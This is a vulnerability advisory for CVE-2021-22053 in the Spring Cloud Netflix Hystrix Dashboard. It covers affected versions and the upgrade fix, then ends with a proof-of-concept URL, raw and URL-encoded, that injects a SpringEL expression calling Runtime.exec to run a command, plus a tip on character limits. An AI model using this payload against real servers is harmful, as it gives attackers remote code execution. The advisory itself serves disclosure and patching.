CVE-2021-22053: Spring Cloud Netflix Hystrix Dashboard template resolution vulnerability

Severity

High

Vendor

Spring by VMware

Description

Applications using both spring-cloud-netflix-hystrix-dashboard and spring-boot-starter-thymeleaf expose a way to execute code submitted within the request URI path during the resolution of view templates. When a request is made at /hystrix/monitor;[user-provided data], the path elements following hystrix/monitor are being evaluated as SpringEL expressions, which can lead to code execution.

Affected VMware Products and Versions

Severity is high unless otherwise noted.

• Spring Cloud Netflix
  • 2.2.0.RELEASE to 2.2.9.RELEASE
  • Older, unsupported versions are also affected

Mitigation

Users of affected versions should apply the following mitigation: Users should upgrade to 2.2.10.RELEASE+. No other steps are necessary. Releases that have fixed this issue include:

• Spring Cloud Netflix
  • 2.2.10.RELEASE+

Credit

This vulnerability was identified and responsibly reported by threedr3am of SecCoder Security Lab (threedr3am@foxmail.com).

References

https://www.first.org/cvss/calculator/3.0#CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:L

History

2021-11-17: Initial vulnerability report published.

POC

raw:

http://127.0.0.1:8080/hystrix/;a=a/__${T (java.lang.Runtime).getRuntime().exec("open -a calculator")}__::.x/

encode:

http://127.0.0.1:8080/hystrix/;a=a/__$%7BT%20(java.lang.Runtime).getRuntime().exec(%22open%20-a%20calculator%22)%7D__::.x/

PS. The diagonal bar'/' cannot be carried in the command